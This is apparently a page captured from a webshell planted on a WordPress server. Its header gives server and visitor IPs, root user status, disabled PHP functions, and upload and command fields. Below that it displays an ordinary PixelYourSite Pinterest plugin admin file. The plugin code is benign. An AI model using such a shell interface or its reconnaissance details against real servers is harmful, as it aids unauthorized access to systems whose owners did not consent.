403Webshell
Server IP : 65.109.86.83  /  Your IP : 37.27.51.148
Web Server : nginx/1.14.1
System : Linux libra 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 20:24:04 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.31
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/pixelyoursite-pinterest/modules/pinterest/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/pixelyoursite-pinterest/modules/pinterest/functions-admin.php
<?php

namespace PixelYourSite\Pinterest;

use PixelYourSite;
use function PixelYourSite\renderProBadge;
use function PixelYourSite\SuperPack;

if ( !defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

function renderPixelIdField() {

	if ( PixelYourSite\Pinterest()->enabled() ) : ?>

        <div class="row align-items-center">
            <div class="col-2 py-2">
                <img class="tag-logo" src="<?php echo PYS_PINTEREST_URL; ?>/dist/images/pinterest-square-small.png">
            </div>
            <div class="col-6">
                Your Pinterest Tag
            </div>
            <div class="col-4">
                <label for="pin_settings_switch" class="btn btn-block btn-sm btn-primary btn-settings">Click for
                    settings</label>
            </div>
        </div>
        <input type="checkbox" id="pin_settings_switch" style="display: none">
        <div class="settings_content mt-3">
            <div class="plate pixel_info pt-4">
				<?php if( PixelYourSite\isSuperPackActive() && PixelYourSite\SuperPack()->getOption( 'additional_ids_enabled' ) ): ?>
					<?php PixelYourSite\Pinterest()->render_text_input_array_item( 'main_pixel', "", 0, true ); ?>
                    <div class="row align-items-center">
                        <div class="col-12">
							<?php
							PixelYourSite\Pinterest()->render_switcher_input( "main_pixel_enabled" );
							?>
                            <h4 class="switcher-label">Enable Pixel</h4>
                        </div>
                    </div>
				<?php endif; ?>
                <div class="row">
                    <div class="col-12">
						<?php PixelYourSite\Pinterest()->render_switcher_input( "use_server_api" ); ?>
                        <h4 class="switcher-label">Enable Pinterest API</h4>
                    </div>
                </div>
                <div class="row pt-3 pb-3">
                    <div class="col-12">
                        <h4 class="label">Pinterest Pixel ID:</h4>
						<?php PixelYourSite\Pinterest()->render_pixel_id( 'pixel_id', 'Pinterest Pixel ID' ); ?>
						<?php if ( isPysProActive() ) : ?>
                            <small class="form-text"><a
                                        href="https://www.pixelyoursite.com/documentation/add-your-pinterest-tag"
                                        target="_blank">How to get it?</a></small>
						<?php else : ?>
                            <small class="form-text"><a
                                        href="https://www.pixelyoursite.com/pixelyoursite-free-version/add-your-pinterest-tag"
                                        target="_blank">How to get it?</a></small>
						<?php endif; ?>
                    </div>
                </div>
                <div class="row pb-3">
                    <div class="col">
                        <h4 class="label">Your Ad Account ID</h4>
						<?php PixelYourSite\Pinterest()->render_text_input_array_item( 'ad_account_id', 'Add your Ad account ID there' ); ?>
                    </div>
                </div>
                <div class="row align-items-center pb-3">
                    <div class="col-12">
                        <h4 class="label">Access Token:</h4>
						<?php PixelYourSite\Pinterest()->render_text_area_array_item( "server_access_api_token", "Access token" ) ?>
                        <small class="form-text"><a
                                    href="https://www.youtube.com/watch?v=PhtnAEYoCuY"
                                    target="_blank">Lean how to configure Pinterest API</a></small>
                    </div>
                </div>
				<?php if ( PixelYourSite\isSuperPackActive() ) {
                    if ( SuperPack()->getOption( 'additional_ids_enabled' ) ) : ?>
                        <p>
                            <?php PixelYourSite\Pinterest()->render_checkbox_input( 'is_fire_signal', 'Fire the active automated events for this pixel' ); ?>
                        </p>
                        <?php if ( PixelYourSite\isWooCommerceActive() ) : ?>
                        <p>
                            <?php PixelYourSite\Pinterest()->render_checkbox_input( 'is_fire_woo', 'Fire the WooCommerce events for this pixel' ); ?>
                        </p>
                        <?php endif; ?>
                        <?php if ( PixelYourSite\isEddActive() ) : ?>
                        <p>
                            <?php PixelYourSite\Pinterest()->render_checkbox_input( 'is_fire_edd', 'Fire the Easy Digital Downloads events for this pixel' ); ?>
                        </p>
                        <?php endif; ?>

                        <p>
                            <strong>Display conditions:</strong>
                            <?php
                            $main_pixel = PixelYourSite\Pinterest()->getOption( 'main_pixel' );
                            if ( !empty( $main_pixel ) && isset( $main_pixel[ 0 ] ) ) {
                                $conditions = PixelYourSite\SuperPack\SPPixelId::fromArray( json_decode( $main_pixel[ 0 ], true ) );
                                PixelYourSite\SuperPack\SpPixelCondition()->renderHtml( $conditions->displayConditions );
                            } else {
                                PixelYourSite\SuperPack\SpPixelCondition()->renderHtml();
                            } ?>
                        </p>
					<?php endif; ?>
                    <?php
                        if ( SuperPack()->getOption( 'enable_hide_this_tag_by_tags' ) || SuperPack()->getOption( 'enable_hide_this_tag_by_url' ) ) {
                            PixelYourSite\Pinterest()->render_hide_pixel_block();
                        }
                } ?>
            </div>

			<?php
			if ( function_exists( "PixelYourSite\addMetaTagFields" ) ) {
				if ( isPysProActive() ) {
					$url = "https://www.pixelyoursite.com/documentation/add-your-pinterest-tag";
				} else {
					$url = "https://www.pixelyoursite.com/pixelyoursite-free-version/add-your-pinterest-tag";
				}

				PixelYourSite\addMetaTagFields( PixelYourSite\Pinterest(), $url );
			}
			?>
        </div>
        <hr>

	<?php

	endif;

}

function adminSecondaryNavTabs( $tabs ) {

	$tabs[ 'pinterest_settings' ] = array(
		'url'  => PixelYourSite\buildAdminUrl( 'pixelyoursite', 'pinterest_settings' ),
		'name' => 'Pinterest Settings',
	);

	return $tabs;

}

function renderSettingsPage() {

	/** @noinspection PhpIncludeInspection */
	include PYS_PINTEREST_PATH . '/modules/pinterest/views/html-settings.php';

}

function adminNoticePysCoreNotActive() {

	if ( current_user_can( 'manage_options' ) ) : ?>

        <div class="notice notice-error">
            <p>PixelYourSite Pinterest Add-on needs PixelYourSite PRO or Free in order to work. Activate it now.</p>
        </div>

	<?php endif;

}

function adminNoticePysProOutdated() {

	if ( current_user_can( 'manage_options' ) ) : ?>

        <div class="notice notice-error">
            <p>PixelYourSite Pinterest Add-on requires PixelYourSite PRO
                version <?php echo PYS_PINTEREST_PRO_MIN_VERSION; ?> or newer.</p>
        </div>

	<?php endif;

}

function adminNoticePysFreeOutdated() {

	if ( current_user_can( 'manage_options' ) ) : ?>

        <div class="notice notice-error">
            <p>PixelYourSite Pinterest Add-on requires PixelYourSite Free
                version <?php echo PYS_PINTEREST_FREE_MIN_VERSION; ?> or newer.</p>
        </div>

	<?php endif;

}

Youez - 2016 - github.com/yon3zu
LinuXploit